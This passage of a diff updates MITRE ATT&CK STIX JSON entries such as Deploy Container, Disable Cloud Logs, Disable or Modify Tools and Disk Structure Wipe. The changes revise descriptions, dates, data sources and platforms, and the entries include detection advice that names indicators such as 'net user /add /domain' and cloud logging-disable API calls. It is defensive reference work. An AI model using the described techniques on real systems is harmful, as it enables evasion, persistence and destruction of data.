malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", + "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "modified": "2021-04-14T12:02:20.641Z", + "created": "2021-03-29T16:51:26.020Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", + "x_mitre_contributors": [ + "Pawan Kinger, @kingerpawan, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Idan Frimark, Cisco", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_data_sources": [ + "Container: Container Creation", + "Container: Container Start", + "Pod: Pod Creation", + "Pod: Pod Modification", + "Application Log: Application Log Content" + ] + }, { "external_references": [ { @@ -8570,7 +9059,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Determine Physical Locations", - "description": "Before compromising a victim, adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867", "type": "attack-pattern", "kill_chain_phases": [ @@ -8579,7 +9068,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:09:48.419Z", + "modified": "2021-04-15T03:37:35.863Z", "created": "2020-10-02T16:32:33.126Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -8621,7 +9110,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Develop Capabilities", - "description": "Before compromising a victim, adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", + "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "type": "attack-pattern", "kill_chain_phases": [ @@ -8630,7 +9119,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:18:08.552Z", + "modified": "2021-04-15T03:08:33.511Z", "created": "2020-10-01T01:30:00.877Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_version": "1.0", @@ -8657,7 +9146,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Digital Certificates", - "description": "Before compromising a victim, adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).", + "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "type": "attack-pattern", "kill_chain_phases": [ @@ -8666,13 +9155,10 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:18:08.422Z", + "modified": "2021-04-15T02:33:38.589Z", "created": "2020-10-01T01:42:24.974Z", - "x_mitre_data_sources": [ - "SSL/TLS certificates" - ], "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" @@ -8711,7 +9197,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Digital Certificates", - "description": "Before compromising a victim, adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise)\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAdversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.", + "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "type": "attack-pattern", "kill_chain_phases": [ @@ -8720,13 +9206,10 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:18:54.959Z", + "modified": "2021-04-15T02:32:49.507Z", "created": "2020-10-01T02:14:18.044Z", - "x_mitre_data_sources": [ - "SSL/TLS certificates" - ], "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" @@ -8755,7 +9238,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Digital Certificates", - "description": "Before compromising a victim, adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca", "type": "attack-pattern", "kill_chain_phases": [ @@ -8764,7 +9247,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:19:15.289Z", + "modified": "2021-04-15T03:48:37.628Z", "created": "2020-10-02T16:58:58.738Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -8815,31 +9298,27 @@ "phase_name": "impact" } ], - "modified": "2020-09-16T15:57:12.410Z", + "modified": "2021-03-29T16:11:56.727Z", "created": "2020-03-02T20:07:18.651Z", "x_mitre_data_sources": [ - "Sensor health and status", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Network intrusion detection system", - "Network device logs" + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" ], "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_impact_type": [ "Availability" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure AD", - "SaaS", - "Azure", - "Office 365" + "Google Workspace" ] }, { @@ -8874,7 +9353,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-01-30T22:27:39.932Z", + "modified": "2021-02-09T14:09:00.753Z", "created": "2017-05-31T21:30:20.934Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -8883,13 +9362,14 @@ "x_mitre_permissions_required": [ "Administrator" ], - "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended.", + "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.", "x_mitre_defense_bypassed": [ "File monitoring", "File system access controls" ], "x_mitre_data_sources": [ - "API monitoring" + "Command: Command Execution", + "Drive: Drive Access" ], "x_mitre_version": "2.0" }, @@ -8935,30 +9415,29 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-19T16:31:34.489Z", + "modified": "2021-03-15T16:43:04.273Z", "created": "2020-10-12T13:52:32.846Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.", "x_mitre_data_sources": [ - "AWS CloudTrail logs", - "Azure activity logs", - "GCP audit logs" + "Cloud Service: Cloud Service Modification", + "Cloud Service: Cloud Service Disable" ], "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee ", "Ibrahim Ali Khan", - "AttackIQ", + "Alex Soler, AttackIQ", "Janantha Marasinghe", - "Sekhar Sarukkai; Prasad Somasamudram; Syed Ummar Farooqh (McAfee) ", "Matt Snyder, VMware" ], "x_mitre_platforms": [ - "GCP", - "Azure", - "AWS" + "IaaS" ] }, { @@ -8991,7 +9470,7 @@ "modified": "2020-10-21T22:37:48.503Z", "created": "2020-10-19T19:11:18.757Z", "x_mitre_data_sources": [ - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -9042,9 +9521,8 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.", "x_mitre_data_sources": [ - "Process monitoring", - "Windows event logs", - "Process command-line parameters" + "Sensor Health: Host Status", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" @@ -9077,27 +9555,23 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-09-14T20:02:24.426Z", + "modified": "2021-03-08T10:33:02.146Z", "created": "2020-06-24T16:55:46.243Z", "x_mitre_contributors": [ "Expel" ], "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_data_sources": [ - "Stackdriver logs", - "GCP audit logs", - "Azure activity logs", - "AWS CloudTrail logs" + "Firewall: Firewall Rule Modification", + "Firewall: Firewall Disable" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -9131,9 +9605,10 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.", "x_mitre_data_sources": [ - "File monitoring", - "Process command-line parameters", - "Windows Registry" + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification", + "Firewall: Firewall Disable", + "Firewall: Firewall Rule Modification" ], "x_mitre_platforms": [ "Linux", @@ -9142,22 +9617,6 @@ ] }, { - "created": "2020-02-21T20:32:20.810Z", - "modified": "2020-03-29T21:52:43.151Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.", - "name": "Disable or Modify Tools", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -9170,18 +9629,28 @@ "url": "https://capec.mitre.org/data/definitions/578.html" } ], - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "Process command-line parameters", - "Windows Registry", - "Services", - "File monitoring" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Disable or Modify Tools", + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.", + "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2021-04-19T13:41:17.746Z", + "created": "2020-02-21T20:32:20.810Z", + "x_mitre_version": "1.1", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" ], - "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.", "x_mitre_defense_bypassed": [ "Anti-virus", "Log analysis", @@ -9189,12 +9658,27 @@ "Host intrusion prevention systems", "File monitoring" ], - "x_mitre_permissions_required": [ - "User", - "Administrator" + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.", + "x_mitre_data_sources": [ + "Process: Process Termination", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Command: Command Execution", + "Service: Service Metadata", + "Sensor Health: Host Status" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Containers", + "IaaS" + ], + "x_mitre_contributors": [ + "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", + "Nathaniel Quist, Palo Alto Networks", + "Gal Singer, @galsinger29, Team Nautilus Aqua Security" + ] }, { "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", @@ -9296,9 +9780,11 @@ "Windows" ], "x_mitre_data_sources": [ - "Kernel drivers", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" ], "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", "x_mitre_impact_type": [ @@ -9420,9 +9906,11 @@ ], "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", "x_mitre_data_sources": [ - "Kernel drivers", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" ], "x_mitre_platforms": [ "Linux", @@ -9477,9 +9965,11 @@ ], "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", "x_mitre_data_sources": [ - "Kernel drivers", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Driver: Driver Load", + "Drive: Drive Access", + "Drive: Drive Modification" ], "x_mitre_platforms": [ "Linux", @@ -9557,14 +10047,9 @@ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "x_mitre_data_sources": [ - "Windows event logs", - "Windows Registry", - "Process monitoring", - "Packet capture", - "DLL monitoring", - "Authentication logs", - "API monitoring", - "PowerShell logs" + "Module: Module Load", + "Process: Process Creation", + "Network Traffic: Network Connection Creation" ], "x_mitre_permissions_required": [ "Administrator", @@ -9612,10 +10097,9 @@ "Linux" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Authentication logs", - "Windows event logs" + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.", "x_mitre_permissions_required": [ @@ -9654,9 +10138,8 @@ "modified": "2020-03-26T13:42:34.402Z", "created": "2020-02-21T21:08:26.480Z", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_permissions_required": [ "User" @@ -9734,8 +10217,8 @@ ], "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", "x_mitre_data_sources": [ - "Authentication logs", - "Process monitoring" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" ], "x_mitre_platforms": [ "Linux", @@ -9777,20 +10260,25 @@ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" } ], - "modified": "2020-08-26T14:16:48.125Z", + "modified": "2021-04-20T20:10:26.613Z", "created": "2020-02-11T19:05:02.399Z", "x_mitre_data_sources": [ - "Authentication logs", - "API monitoring", - "DLL monitoring" + "Logon Session: Logon Session Creation", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification" ], "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_detection": "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of 